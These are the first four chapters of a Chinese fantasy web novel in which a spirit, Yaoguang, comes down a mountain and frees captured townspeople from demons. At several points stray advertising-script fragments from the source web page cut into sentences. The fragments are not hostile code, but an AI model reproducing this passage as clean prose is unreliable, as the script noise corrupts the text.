《下山,是为了成神》 1. 下山历劫入三生(一) 不周山矗立于大陆西北之巅,传说山中有人间天柱,明明已是桃月春来,周遭仍银装素裹,与寻常雪山无异。 不远处,一玄一白两道身影伫立于侧峰之上,凛冽寒风将他们的衣袂吹扬,猎猎作响。 月神玄霄身着玄袍,五官俊雅,明明一副飘逸仙人的模样,可那紧抿的薄唇却给他添上严厉之色。他急问白衣人:“下次化神期将至,白冕,你可知瑶光去哪了?” 白衣人为日神白冕,明眸善睐。他眺望远方,道:“她随着南海梦蝶下山了。” 此言一出,玄霄心一紧,南海梦蝶以情爱为食,滋养生灵,若有它带路,瑶光下山去寻的便是......便是...... 他藏在身后的手握紧成拳,高声呵斥白冕:“你怎么任她如此胡闹!” “这怎会是胡闹?”白冕不慌不忙,侧头睨向玄霄:“快五百年了,她已经受化神之苦快五百年了。你还想害她再受多少苦?” “我害她?”玄霄苦笑:“我怎会害她?” 白冕:“她本可畅快过一生,是你骗她神灵五百年内不成神必死,她才没日没夜地修炼,忍受十年一次化神失败时的涤骨之痛。” “我不过是想要她重归神位罢了!”玄霄冷呵一声,:“我守着她的神髓,历经无数艰辛,将她孕育,悉心照料,只为助她重返神位,拯救苍生。这三界众生也等待得太久了。” 白冕摇头:“是这三界众生等得太久,还是你等得太久了?” “你在胡说什么!“玄霄眼神闪躲地别开脸。 “我胡说?魔尊睚眦已被我们合力再封印至寂海,魔族元气大伤;鬼王妖王已死,两族余孽不敢妄动;仙族一直对天界俯首称臣,人界与天界互不相干,这苍生也有我们担着,无需急着让瑶光归位!” 白冕语气越说越重:“神灵化神如凡胎成仙,需心无挂牵,只为苍生。你可知,她正是因为那一缕情丝遗落人间才不能化神,无论你再怎么抹去她的记忆,都无法改变这个事实!” “我知!我怎不知!但.....”一想到那情丝如今落在何处,玄霄神情突变,不屑一顾:“我们上古神族不需要那东西。” 真是冥顽不灵! “无论如何,我定不会让瑶光再受这化神之苦。”白冕厉色道:“她该去寻她的道。” * 人间三月,春风温煦。 矫健的白马在山林间漫步,背有一鹅黄衣裙的少女,悠哉游哉;前有一蓝萤彩蝶翩飞,似是在带路。 此黄衣少女便是下山寻道的瑶光。 一出山林,一座刻着“三生”二字的城墙引入眼帘,与此同时,翩飞于她面前的彩蝶化作一抹蓝烟消散空中。 据史书记载,上古时期女娲娘娘造人时遗留下三生石,而三生石被封印的地方就以其石为名,故取——三生城。 瑶光身板向前坐直,拉了拉缰绳,抬头望眼前城门,一股奇异感觉涌上心头。 此前有规,神灵五百年内不成神必死。她本是不周山中的神灵,苦苦修炼近五百年不得成神,期限将至,余下一年她若不成功化神必会死去。幸得有上神白冕告诉她下山历劫寻道,是化神捷径,所以她才孤注一掷,随这他赐的圣兽南海梦蝶下山。 如今彩蝶消散,难道这三生城里就有劫? 城墙上有数十只毛发乌黑亮丽的乌鸦,排排站着像是士兵在站守。见状,瑶光双目一转,头向左右摆动。而它们的视线也随着瑶光所动,左一转,右一转。 瑶光略有所思,歪头一笑,策马缓行,渐入城内。 按理来说,有神石所护的三生城应是祥和安宁、繁荣昌盛之地,然而眼前景象却令她心生寒意。这座城池仿佛被时间遗忘,静谧得诡异,死气沉沉地不见半个人影。街道两旁的房屋早已破败不堪,蛛网密布,尘埃堆积,仿佛诉说着曾经的辉煌与如今的落寞。 自入城以来,瑶光隐约感觉到有一道更为炽热的目光在暗处窥伺着她,如芒在背。 忽地,一只双眼闪烁着不详红光的乌鸦,如鬼魅般俯冲而下,直击瑶光面门。白马受惊嘶鸣,前蹄高高扬起,险些将瑶光掀翻在地。 瑶光临危不乱,一边飞身下马,一边抬手凝聚灵力,将偷袭的乌鸦击落在地。 而脱缰的马匹则在城中横冲直撞,扬起滚滚尘土,消失在街道尽头。 还未等瑶光站稳,身后小巷处传来异响。 瑶光警觉回眸,正欲一探究竟,又听一声猫叫。那声猫叫似真似假,她嘴角勾起一抹笑意,也不再好奇,转身施展轻功,循着白马消失的方向追去。 她走后,小巷阴影里缓缓走出一少年,他身穿布衣,脚蹬芒屩,长发高高束起,几缕碎发随性地垂落于额前,眉目间清澈明亮。 少年捂着起伏不定的胸口,长舒一口气,庆幸自己没有被发现,刚刚妖女起手即可施展妖法,说不定也是妖魔鬼怪其一。 可当他看到地上一动不动的乌鸦,又不禁转念她不见得是坏人,实在矛盾。 就在少年百思不得其解之际,被击倒在地、方才还了无声息的乌鸦开始发出哀怨的啼叫,振翅而起,向着瑶光离去的方向飞去。 少年见惯不惊地收回视线,转身消失在巷子里。 三生城内荒无人烟,唯有萧瑟的风声回荡在空旷的街道上,宛如鬼哭狼嚎。城外却炊烟袅袅,有着烟火气。 少年提着满篮的野菜归家,远远望见那一缕炊烟从远处的一座木屋屋顶升起,心跳骤停。还不等看清情况,少年立刻加快脚步,奔向那间木屋,不顾篮中的野菜洒落一地。 “阿娘!” 少年推门而入,只见年迈体弱的娘亲正弓着身子,在灶台前胡乱摸索着。他环视屋内一周,确保无碍,才敢松下口气。 “阿稚回来啦。”听到亲儿的声音,妇人放下手中 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 柴火,转头朝向来处,面容上布满了岁月沧桑的痕迹,却如同秋日余晖般温暖。 全程,妇人的双眼一直紧闭。 “阿娘,这柴火湿了,燃起来烟大,会将妖魔他们吸引过来的。”边说着,青稚边急匆匆上前,捞起水瓢将灶底的柴火浇灭。 直到柴火熄灭,无炊烟再起,青稚这才扶起妇人到就近的木椅上坐下。他拍了拍妇人身上的灰,担忧道:“阿娘,你眼睛不好不要乱走动,容易伤着。” 知道是儿子在关心自己,妇人扶上青稚的手,慈爱地笑着:“这段时间你也辛苦了,阿稚。阿娘我想帮帮你。”说着,妇人又想站起身来,青稚硬是将妇人按着,不让她起身。 “这什么事,阿娘你就给我乖乖坐着。” 自己亲儿的倔,她比谁都懂。妇人也不强求,无可奈何地笑了笑,苦口婆心道:“那你把我之前晒的腊肉也一并做食吧。有客远来,万万不可怠慢了客人。” “客?” 正在青稚疑惑时,身后传出少女清脆悦耳的声音:“夫人客气。” 只见一名黄衣少女袅袅婷婷地立于青稚身后,明明一副古灵精怪的模样,可弯成月牙的双眼又透着些许天真。 青稚闻声回头,赫然发现是白天遇到的妖女。他瞬间抽出腰间镰刀走出屋,进入戒备状态,与她对峙,冷声道:“阿娘,这妖女才不是什么客。” 他一手将妇人藏在身后护住,一手探入口袋,把袋中的物品往瑶光撒去。 瞬间,白花飞舞,明明该剑拔弩张的场景融为美景。瑶光随手捏住一片花瓣,细细端详,那花的香气弥漫开来,清香四溢,似乎还带有一股难以言喻的灵气。 三生城,三生石,三生花。 瑶光心中暗自揣测:这应该就是传说中的三生花了。据说它能吸收日月精华,对神仙修为大有裨益,对凡人亦能强身健体,但若被妖魔触碰,则会大大损伤元气。 看来这三生城是真出问题了。 而青稚见瑶光触碰三生花后毫发无伤,误以为是她妖力太强,伤不及她,连忙拿起腰间镰刀与她对峙,“妖女,你别过来,我死也不会再让你们伤害阿娘的。” 这毛头小子还挺孝顺的。 瑶光嘴角上扬,右手轻轻一勾,方才还在青稚手中的镰刀落到了她手中。她把玩着手中的镰刀,看上去亦正亦邪:“在下初到三生城,对这城里的妖魔颇感好奇。你与我说说发生了什么事,我便饶过你们。” 青稚丝毫不敢掉以轻心,怒道:“少废话,别学乌鸦精那一套,我不会相信你的!” 青稚正欲挥拳上前,却被妇人轻拍后背,劝他:“阿稚别担心,这姑娘不是坏人。” 瑶光闻言,好整以暇地问:“噢?夫人为何如此笃定在下不是坏人?” 妇人语气祥和道:“老妇虽看不见,可心里明得很,姑娘身上尽是灵气,定是路过的神灵罢?” 2. 下山历劫入三生(二) 见被拆穿,瑶光亦不忍再戏弄青稚,遂莞尔一笑:“好了,我不逗你了。"说着,她将手中的镰刀扔还给青稚,而后向妇人施一礼,“在下瑶光,乃不周山神灵,路过此地,有所冒犯,还望夫人见谅。" “神灵?!”青稚仍是半信半疑,指着她喊:“我们这穷乡僻里的,怎会有神灵大驾,你莫不是那妖魔派来骗我们的!” 瑶光二话不说,一手挥去,院中一棵枯草突然葱绿。青稚恍惚,神生万物,魔毁生灵,看来她真是神灵无疑。 “你真是神灵!”他大喜。 瑶光抠了抠耳朵,道:“珍珠都没这么真。” “那你可否帮我们救人?”青稚娓娓道来:“三生城外有座三生花林,是我们这儿的圣地。不知妖魔从哪得知,一滴三生花露顶十年修为,三年前它们纷至沓来,厮杀抢掠。在此地隐居的宝泰道长耗尽修为设阵三生花林护下我们,最终还是难逃一劫,百姓们也都被妖魔们抓走了!” 瑶光心中叹息,没想到五百年前神魔大战,妖族魔族落败后,竟仍有余孽在人间肆虐。 瑶光速问:“那你可知他们被关哪儿了?” 青稚答:“自然知道!在方才院落西边被虎妖监视的一屋里,我们之前就被困在那里面。” 瑶光略有所思,倒是青稚越说越发激动,他看向妇人紧闭的双眸,怒从心起,咬牙切齿道:“当时那可恶的乌鸦精为了讨得奖赏,向大魔头提起“食当扈肉可视于千里之外”一说,将阿娘奉上!幸亏他们只取走了一双眼,然后放任我们在后院修养,翌日后院失火,我们才趁乱逃脱!不然阿娘的性命定不保了!” “当扈?你们乃上申山当扈的后裔?”瑶光诧异,神兽族曾在天界尊贵无比,在五百年前神魔大战后便损伤灭绝,如今一见还真是触目惊叹。 “正是。”妇人点头:“当扈一族人枝凋零,如今也只剩下我和我儿子青稚。” 瑶光连忙站起,半蹲着向妇人作揖:“原来是青夫人。” 妇人投以一笑:“不必多礼。当扈无眼便无能,为妇如今不过是寻常妇人罢了。” 听到这,青稚像是想起什么事情,猛地拍桌,震得桌上碗碟格格作响。他怒道:“那该死的乌鸦精!” 瑶光不解地问:“夫人,我已多次听令郎提起乌鸦精,敢问这乌鸦精是?” 妇人叹气道:“阿稚口中的乌鸦精名为季伶,本是三生城一只从小被遗弃的乌鸦小妖,阿稚自幼善良,对其照顾备至。怎知在妖魔入侵时,季伶却借着对三生城的熟悉,率妖魔大军深入城内,且助他们到了万象林,将咱们捉走。之后更是随着他们多番作恶。” “如果不是季伶,城民们本在万象林躲得好好的,怎会被发现!”青稚握紧了拳头,愤恨不已。 瑶光黛眉微蹙,疑惑道:“万象林?” 那妇人徐徐道来:“妖魔入侵之前,居住此地的宝泰道仙早有预感,遂携一众城民躲入万象林。为了防止妖魔寻踪,宝泰道仙耗尽修为,于林中设下万象阵。若无城民引路,无论何人皆无法破阵。若非季伶,城民本可安然躲避。然而……” 青稚气愤地打断道:“然而,季伶竟欺骗我,谎称城中有重要物品遗落,让我替他瞒着宝泰道仙,盼他速去速回。谁料,他竟带回了数千妖魔大军!宝泰道仙为了保护我们,惨遭妖魔杀害,城中所有人也都被抓走了。” 说到此处,青稚泪如泉涌,哽咽道:“都是我害了大家!” 妇人轻抚他的背,柔声安慰道:“阿稚莫要自责。” 既然已大致从青稚与青夫人口中了解到了三生城的过往,瑶光姗姗坐下,速问:“那其他城民,你们是否知道关在何处?也许在下可以想办法将他们救出。” “不知道。自从我们逃出后,妖魔们就把村民们迁移出万象林,并施展了障眼法。除了天快亮时,妖魔押送村民进入万象林前的一点身影浮现,几乎没有任何踪迹。” 瑶光思虑片刻,道:“那也够了,在他们现身那一刻时间我便可施以法术追踪。” 等了许久的事终于有了盼头,心中压抑许久的焦灼终于得以释放,青稚霍然起身,迫切地问道:“那我们最快何时能动身?事关人命,刻不容缓!” 瑶光毫不犹豫道:“我们今晚就动身。” 入夜,瑶光独自在简陋的小屋里收拾着行囊,准备与青稚汇合。屋外寒风呼啸,如泣如诉,将夜色的冷意渗透进每一个角落。小屋内,烛火摇曳,映照着瑶光孤寂的身影。 “叩叩。” 忽然,一阵轻轻的敲门声打破了小屋内的宁静。瑶光放下手中的包袱,心中掠过一丝不安,起身走到门前。她透过门缝望去,只见青夫人站在门外,月色勾勒出她清瘦的身影,添了几分萧瑟之感。 瑶光心中一紧,连忙打开门,行礼相迎:“青夫人。” 青夫人和蔼地扶起瑶光,关切地说道:“瑶光姑娘不必客气,夜间寒气深重,多添些衣裳才好。”说着,她伸手轻轻地为瑶光披上一件厚厚的衣衫。她的动作轻柔而温暖,如同一股暖流,驱散了夜间的寒意。 瑶光受宠若惊,连忙推辞道:“青夫人,瑶光无需......” 青夫人轻轻拍了拍瑶光纤细的手臂,语带关切:“瑶光姑娘切莫客气,你年纪与阿稚相仿,见家中孩童受冻,我亦心有不忍。” 瑶光心中一暖,也不再推辞,将厚衣拢紧。她望着青夫人慈祥的面庞,一股酸涩之意涌上心头。自离开不周山以来,她首次遇见如此真切的人族情谊,青夫人待她如家人般亲切,若是能救得百姓们平安归来,她定要好好与青夫人相处。 随后,青夫人从怀中取出精致的木盒,轻轻打开,露出里面静静躺着一枚玉佩。玉佩上,上面雕刻着精美的当扈图案,栩栩如生。 “夫人,这......” “ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这是我的一番心意,望瑶光姑娘收下。”青夫人解释道,“阿稚年幼,恐有许多不懂事之处,还望你在旅途中多加照顾。”说罢,她将玉佩递近瑶光,声音柔和而坚定,“此乃我青家传家玉佩,若瑶光姑娘收下,便与我等同气连枝。” 这玉佩不仅贵重,更承载着青夫人的一份深情厚意。 “夫人言重了,”瑶光柔声说道,“令郎并非如您所说那般不懂事。况且,既然答应了救人,我便绝不会食言,定会竭尽全力将大家及令郎平安送回。” 青夫人却仍不死心,紧紧握着玉佩,想要塞进瑶光怀中。她眼中含着泪光,恳求道:“瑶光姑娘,此去路途遥远,凶险莫测,我这玉佩虽不值什么,但愿能保你平安。” 瑶光见状,心中感动不已,却仍婉拒道:“夫人好意,瑶光心领。这玉佩太过贵重,我怎能收下?况且,我自有保命之法,夫人不必担心。” 青夫人见她如此坚决,只好收回玉佩,紧紧地握在自己胸前,凝视着瑶光,一字一句地说道:“瑶光姑娘,此去路漫漫,务必小心谨慎,一定要平安归来。” 瑶光微微一笑,如春风拂面。 “一定会的。” * 是夜,三生城郊外,青稚埋头赶路一言不发,倒是瑶光被周围新奇的景色所吸引,每走一步都要停下细看,像是一个孩童般四处张望。 对于郊外生机盎然的景象,瑶光感叹道:“城内荒芜一片,城外生机勃勃,且大多都是从未在话本上见过的奇珍异草,有意思。” 忽然,瑶光循着香气望去,只见不远处有一片通体紫色的草丛,草丛中还挂着一颗颗圆乎乎的黄色果子。她指着那处,一脸天真无邪地看向青稚:“阿稚,你可知这棵紫色的草是什么?” “别叫我阿稚阿稚的!只有我最亲近的人才能这么叫我!”青稚红了脸,不知道是被羞得还是被气得。顿了顿,他还是有问必答道:“那是紫葫芦草,食其果能使人暂时失去嗅觉,以往是给劳作的人制作肥料时吃食的。” 继续前行,瑶光又发现路边不时闪烁着光芒的野花,问道:“阿稚,这些发光的野花是什么呀?” “昙照花,种植在路边,只在夜间发光,种以指引人们回家的方向。” “阿稚......” “阿稚......” 青稚一声不耐烦的轻啧,随手将一个包裹抛给瑶光,别过头,语气恶劣地说道:“拿着,这是我娘做的路上吃的干粮,赶紧把你的嘴塞住。” 瑶光掂了掂手中有些沉甸甸的包裹,又听他嘴里嘟囔着:“真不知阿娘为何对你如此上心,还特地让我给你带些干粮,我自己都没有呢......”她听着,心中一股暖意上涌,正准备打算打开细看时,一阵狂风袭来,吹乱了发簪上的流苏,使得她顿时警觉起来,迅速将包裹藏进袖中。 耳边,传来青稚的声音:“这就是万象林了。” 3. 下山历劫入三生(三) “喂,别发呆了。他们到了。” 青稚的话把瑶光从万千思绪中捞了回来,她听到远处传来阵阵踢踏声,伴随着怪异的婴啼声和车轮声,但却不见任何身影。 不一会儿,声音渐渐散去,数百只妖魔及一辆可容纳数十人的木头车渐渐浮现。说是木头车,其实更像是一个装有轮子的木笼,被木柱横竖交错地围着,生怕有人逃出。 笼中被困住的百姓个个骨瘦如柴,眼神涣散,脸色苍白,衣不遮体的身上鞭痕密布,赤脚下更是有可怖的水泡血痕,一看就是已被妖魔手下虐待许久。 而婴啼声竟是来自两只在木头车前拉车的异兽,该异兽有着羊的身体和人的脸庞,但脸上却没有眼睛。两只异兽时不时打几声哈欠,还露出像老虎一样的利齿。 见着异兽的模样,瑶光心下一惊,脱口而出:“竟然是狍鸮。” 青稚被困时见此异兽多次,却从未知晓它们的名字,不禁问道:“那两只拉车的妖兽,叫狍鸮?” “古书有云:钩吾又北三百五十里,曰钩吾,其上多玉,其多铜。有兽,其状如羊,人面,其目在,齿人爪,其音如婴儿,名曰狍鸮,食人。”说着,瑶光感慨万分:“只是没想到,堂堂狍鸮竟被妖魔所用。” 就在此时,一只毛发乌黑透亮的乌鸦飞身而下,转眼间,它变幻成一位身穿黑衣的羸弱少年。少年面容清秀却脸色惨白无血色,乌黑的短发随着发尾的两根长辫在风中飘扬,透露着只属于异族的美。 吵闹声响起,虎头人身的妖族小兵们个个手持长鞭,模样极其凶狠,不断地催促着木车里的百姓尽快下车,让他们入林采露。 其中,一位年迈体弱的老者行动迟缓,迟迟未能下车。一个满面虬髯,体型健硕,肤色黝黑的汉子见状,怒火中烧,举起长鞭就要抽打老者。 长鞭呼啸而至,却在半空生生停住。看似弱不禁风的季伶牢牢地抓住男人的手臂,冷声道:“马上就要入林采露了,若你现在打伤人,等下花露少了,那位大人必定深究。你自己掂量着点,别拖我下水!”说罢,他用力甩开汉子的手,汉子猝不及防地踉跄了一下,摔了个大跟头。 季伶瞥了一眼躺在地上哀嚎的汉子,季伶面无表情地略过他,走到老者身旁吆喝他快些。 逃过一劫的老者没有丝毫感激,反而转头啐了季伶一口唾沫,一脸不屑地鄙夷道:“虚伪!” 被弄脏了衣服的季伶没有恼,面不改色,默默地走在一旁随着一众百姓进入万象林,只留下狍鸮,和数百只虎头小兵在林外镇守。 待他们走后,在一旁察言观色的虎十一扶起方才摔倒在地的秦威,神情略有不甘:“秦威大人,那季伶不过是一只乌鸦,凭什么敢这样跟您说话?” 在妖族的森严等级制度下,只有拥有身份地位或高深修为的妖才能拥有姓名,其余低阶妖只能以族中排行作为代称。 秦威,一听名字,便知是这群虎妖们的首领。 秦威被搀扶着,怒从心起。他身为一位修炼近四百年的虎妖,竟在一群修为低微的小妖面前被一只仅十余妖铃的乌鸦妖如此羞辱,恨不得将其碎尸万段。不过,他能当上虎族首领的位子,自然不是无脑冲动之人。考虑到那位大人的存在,他硬生生压抑下怒火,决定暂时隐忍。 “季伶因身上带有仙气,不受三生花影响,因此得了那位大人的赏识。当务之急,还是先完成手头上的任务,待此事结束后......”秦威看了看季伶方才离去的方向,咬牙切齿道:“......有他好看的!”他重重地哼了一声,收敛起怒意,指挥着众虎妖们严密巡视万象林。 “季伶......”自从黑衣少年出现后,青稚就没有松开过握紧的拳头。 “他就是季伶?”瑶光看着刚刚羸弱的少年,实在想不出来他是怎么做出那一桩桩恶毒之事,“看来他也过得不是很好嘛,被百姓所恶,被同僚所厌。” “活该,这就是叛徒的报应。” 青稚此刻对季伶只有怨恨,他无法原谅季伶的背叛,无法原谅季伶害死沅儿妹妹及其他乡亲,也无法原谅他间接弄瞎自己母亲。 约莫半个时辰后,季伶带着百姓从万象林出来,百姓们井而有序地进入木车,仿佛这样的生活他们已经习惯了。 事不宜迟,瑶光掏出自己法袋中的一只百影虫,略施法术,将其引诱到了一只狍鸮脚下。狍鸮突然感觉脚底奇痒无比,忍不住连连跺脚。 季伶察觉到异常,警觉地朝着狍鸮看了一眼,环顾四周后转过头让大部队返回大本营。 转眼之间,他们便凭空消失了。 百影虫体型极小,几乎无法肉眼察觉,在青稚看来,瑶光刚刚一系列的动作更像是从袋中掏出空气在胡乱比划罢了。 青稚疑惑地问道:“你这是在做什么?妖怪都走了。” 瑶光:“我刚唤了百影虫,它体型极小,光靠肉眼基本无法看清。它的血液是罕见的萤火绿色,抹上百影虫的排泄物才能以肉眼看见,故可作追踪法器。”说罢,还不等青稚反应,她就掏出一个小瓶子,倒出一些透明液体抹在青稚眼皮上。 排泄物?青稚闻言,吓了一跳,连忙用袖子擦掉眼皮上的液体。他轻嗅了一下,立刻感到一股异味扑鼻,差点没忍住想吐。 “你是神灵吗?为什么一个追踪法器这么的恶心。” 瑶光眼中闪过一丝俏皮,她笑道:“别擦了,那可是一沾上就擦不掉的。” 无论他如何擦拭,眼皮上的黏糊感始终存在,惹得青稚气不打一处来。但等他再次朝百姓们消失的方向看去时,他却惊奇地发现狍鸮每踏过之处皆有绿色的脚印,相当神奇。 青稚好奇地问:“那这百影虫法术能追踪多久?” 瑶光回道:“约莫百里,不然怎么叫百影虫。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >紧接着,她法袋中取出一把弯刀,弯刀刀身透白,刀柄乃铁制,雕刻着奇异图案,像是梵文。她递给青稚,道:“这是皎月刀,给你防身用的,定比你带的那生了锈的镰刀好使。” “无功不受禄,平白无故,我不拿你东西。”青稚想将刀还回去,却被瑶光百般阻挠。 “你赠我吃食,我自然要回礼。”她道:“留着吧,说不定还能当防身一用。” “可......” “救人要紧,我们赶紧追过去。”说罢,瑶光便提起青稚的肩,随着绿色脚印追去。 * 与三生城内的萧条不同,城郊一院落正常无异,日光如碎金般洒落,透过层层叠叠的枝叶,斑驳陆离地映照在院落里。两名牛头小妖正卖力地推着一辆满载着血淋淋肉块的推车,朝着马厮的方向缓缓前行。 那马厮,看似寻常,却别有洞天。其中饲养的,并非骏马,而是发出声声婴啼的凶猛异兽。 “听说今天又有不安分的人族犯事,被季伶大人押着进了小黑屋。” 一名小妖先将肉块装倒入一木桶,待木桶盛满,另一名小妖与他合力提起木桶,朝马厮的方向走去。它们一靠近,几只异兽开始发出了震耳欲聋的嘶吼声,不住地跺着脚,似是在抗拒。 面对这番景象,两名小妖早已习以为常,熟练地将肉块倾倒在食槽里。一边忙碌着,小妖一边抱怨:“要不是上头吩咐肉都要先留给这些畜生,我们也不至于天天喝那寡淡无味的肉汤,连人肉的味道都尝不出来。死畜生!明明有肉吃,却还要这般折腾,真是不知足!” 小妖骂骂咧咧地倒完,准备回头继续装肉时,两块碎石精准地飞向它们的太阳穴,应声倒地。 瑶光率先现身,随后少年从墙上跃下。看着推车上和马厮里白花花的肉,少年脸色骤然惨白,胃部痉挛,几欲呕吐。 他满腔愤怒,猛地冲到倒地昏迷的俩小妖面前,挥舞起手中银刀,狠狠地砍向它们,边砍边道:“我让你们吃人,我让你们吃人!你们不得好死!” 刀锋划破皮肉,露出深可见骨的伤口。皎月刀沾染着妖血,在他手中泛着诡异的光芒。 “牛三百!怎么这么久还没好?”喂养时间快到了,院外坚守的小妖问话。 少年捏嗓,故作出方才牛头小妖的声音,喊:“快了!这群畜生又闹腾,害我忙好一会儿!” 少年声音装的像,但身上的人味和血腥味是掩饰不住的,院外小妖用兽鼻一闻,眼珠一转,狡黠地笑了笑:“好,那你慢慢喂。” 话音未落,转头他就往身旁的同僚抬首示意,轻声入院。 可他一进院,院里已空无一人,唯有一草丛在晃动。小妖了然,一个冲刺,高举长刀,“快来入你牛爷爷的肚子!” 然而,刀锋却差点就砍在了早已死去的同僚身上。 小妖惊道:“咦?人嘞?” 4. 下山历劫入三生(四) 小妖一旁的树上,瑶光手持符咒,按住浑身不停颤抖的青稚,沉声道:“救人要紧。” 一上树梢,整个院落的布局尽收眼底。 青稚忍住方才的难受,瞳孔渐渐变得赤红,所有物件如透视一般浮现在他眼前。他定睛看向庭院西北侧的一处小院落,里面有一间大木屋,屋内如牢狱,一根根大腿般粗壮的木栏杆将百姓们困在里面。 良久,青稚的瞳孔逐渐恢复清明,他欣喜地指着一个方向,声音清脆如玉珠落盘:“他们在那!” 目睹一切的瑶光感慨话本所述不虚,当扈当真可目千里。 她当即取出一张符纸,在符纸上勾勒出一个法阵。随着咒语的念诵,法阵金光大盛,将他们二人包裹其中,消失的无影无踪。 再次现身时,他们已稳稳地站在了木屋后侧的假山后。 瑶光探身细细观察周围的环境,确定此处确实安全无虞后,便拾起地上的碎石,注入灵力后扔出。碎石划破长空,精准地击中巡逻的虎妖,个个倒地不起。 屋外的动静惊动了屋内的看守虎妖,它不安地先将门打开一个小缝,就看到倒在院中不省人事的同伴。它正欲大声呼救,却被眼利的瑶光瞧见了,她再次扔出一块石头,使得院内最后一只妖也倒地不起。 危机解除,青稚迫不及待地快步上前,从虎妖身上找到钥匙,解开了困住百姓们的牢门。原本惊慌失措的百姓们见到青稚,脸上顿时浮现出狂喜之色。 “大家我来救你们了!” 青稚热泪盈眶,与大家紧紧相拥。渐渐地,他仔细一看,发现少了二十几名乡邻,不禁问起:“林大人还有其他捕快呢?赵大哥呢?还有其他人呢?” 欢笑声戛然而止,屋内陷入了沉默。 一个小女孩抹着眼泪说:“之前花露不够数,林伯伯他们为了保护我们,被季伶哥哥带走了,再也没回来过了。” 站在一旁的小男孩推了小女孩一把,气道:“不要叫那个妖怪哥哥!他可是个大坏蛋!” 小女孩被推了一把,哭得更厉害了。瑶光见状,立马蹲在小女孩面前,转手变出一块香草酥给她。 小女孩看着眼前美丽温柔的大姐姐,看呆了,忘记了哭泣,连瑶光何时将香草糕放进她口中都不知。香草糕软糯甘甜,入口即化,许久没有尝到如此美味,之前的委屈和恐惧也一扫而光,她咯咯地笑了起来。 进来容易,出去难,尤其是带着百名城民离开。瑶光深知此行之艰难,在庭院中,她咬紧牙关,以精血为基,立下阵法,一个门般大小的光环逐渐显现。她身姿挺立,一动不动地维持着阵法,额头上密密麻麻地渗出汗珠,顺着脸颊滑落。 她说:“穿过此门,可达三生城后山,再走约半里,即是青夫人隐居之所。” 眼见出口近在咫尺,百姓们迅速组织,老弱妇孺先行,年轻力壮的男丁则紧随其后。 个个井而有序,就当他们几乎全部撤离时,瑶光忽觉周围有异样气息,心一沉。不对,他们在妖魔大本营这么久,妖魔怎会还是毫无动静?如果青稚所言属实,对方能轻取道仙,又怎会对他们这些小动作一无所觉? 正当她陷入沉思之际,一道森寒冰冷的银光直逼阵法,裹挟着凛冽的杀意。银芒划过人群,带来的劲风将瑶光的长发掀起,她眼疾手快,徒手抓住。 她松手,低头一看,是一枚紫色银镖。 因瑶光分身乏术,阵法崩解,善后的青稚还有数名百姓被留在了原地。 其中一名百姓见到飞镖,惊声道:“这是大魔头的堇镖,有毒的!” 青稚看着瑶光鲜血直流的手,连忙撕下一块衣布为她包扎,紧张地问:“你没事吧?” 魔族的暗器都是专门为神族所制作,饶是身为神灵的瑶光亦不可无视其毒性,麻痹之感已侵入经脉,她呼吸变得急促而深沉,忍痛道:“无碍,幸好飞镖没跟过去,否则若他们追踪到阵法所致的另一边,我们就前功尽弃了。” “啪,啪,啪。” 掌声骤响,瑶光这才恍然惊觉,对面屋檐之上,竟站着一袭紫衣公子。他容颜如画,眉目如星,一双桃花眼似笑非笑,却又带着一丝冷漠。只可惜如此一位天人之姿,却偏偏身着层层叠叠的丝绸华服,繁琐华丽,令人眼花缭乱,失了雅致,反倒平添了几分奢靡之气。 “不错,聪明,我就喜欢聪明的人。”男子说得漫不经心。 瑶光不慌不忙,从法袋中掏出一把剑,剑身通黑却有银辉闪烁,长剑如芒,气贯长虹,欲有斩破苍穹之势。 她将众人护住身后,侧头向青稚细语:“待会我引开他的注意,你趁机带剩余的百姓们先走,我来断后。” “要走一起走!”青稚猝然抬眸。 “不必担心我,我自有脱身之策。你速速带百姓离开,莫要让他们陷入危险。” 他还想再说些什么,却见瑶光已转身,提剑迎上了大魔头。 剑,快如闪电,不到一个喘息,已直逼六重紫的面门。 六重紫既然能被称作大魔头,能如此堂而皇之地现身,自然法力高强,瑶光的招数在他眼里不过是些小把戏。只见他从身后抽出一把扇子,轻而易举地挡下了剑击,挽手一转,将将剑钩住,再重重一推,瑶光被其劲道推至数丈,以剑入地才稳住。 六重紫的扇子并非寻常纸扇,而是由数根玄铁制成,扇骨末端锋利无比,寒光闪烁,更像是一把杀人利器。 他凝视瑶光的长剑,眼中闪过一抹讶异,欣赏道:“一剑诛恶,一剑镇魂,黑为诛恶,银为镇魂。能呼唤出如此神兵利器,可见你并非普通神灵。” 此剑自她苏醒起,便随她修炼数百年,听说曾是上神的兵器,自然非比寻常。 瑶光不愿与六重紫多费口舌,她手腕一抖,诛恶剑便化作无数道凌厉的剑影,如疾风骤雨般直刺六重紫而去。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 剑气纵横,杀意凛然,六重紫嘴角轻笑着步步后退。 趁着六重紫被诛恶剑缠住的空档,瑶光玉手一挥,一股磅礴灵力涌出,轰然炸开面前的土墙。 她厉声喝道:“快走!” 青稚咬紧牙关,转身率领百姓们冲出了破口。 怎知他们刚一踏出墙外,数不清的妖兵已在那处埋伏,以其中一个肤色黝黑的壮汉为首,将他们团团围住。 壮汉满面虬髯,五官粗犷强悍,体型健硕高大。他凝聚全身妖气,短发竖起,面目狰狞,如一只猛虎蓄势待发。一记排山倒海般的掌风朝他们击去,势如破竹,若是毫无灵力的青稚被击中,必死无疑。 “危险!!” 瑶光心念电转,急忙召回诛恶剑,准备以剑替青稚挡下这致命一击。然而,在这千钧一发之际,不知为何她感觉袖中有异物在发热,一片空白涌上脑海,身体不受控制地瞬移到青稚身前。 她动得,比剑还快。 壮汉一掌狠狠地直击在瑶光背上,她闷哼一声,一口鲜血喷涌而出,整个人如同一根折断的柳枝般无力地跪倒在地。 青稚本已准备赴死,此刻却见瑶光硬生生为自己承受那致命一击,鲜血染红了她的衣衫,也染红了他的脸庞,被妖气震晕过去。 与此同时,一枚玉佩从瑶光袖中滑出,碎落在地,化为尘埃,随风散去...... * 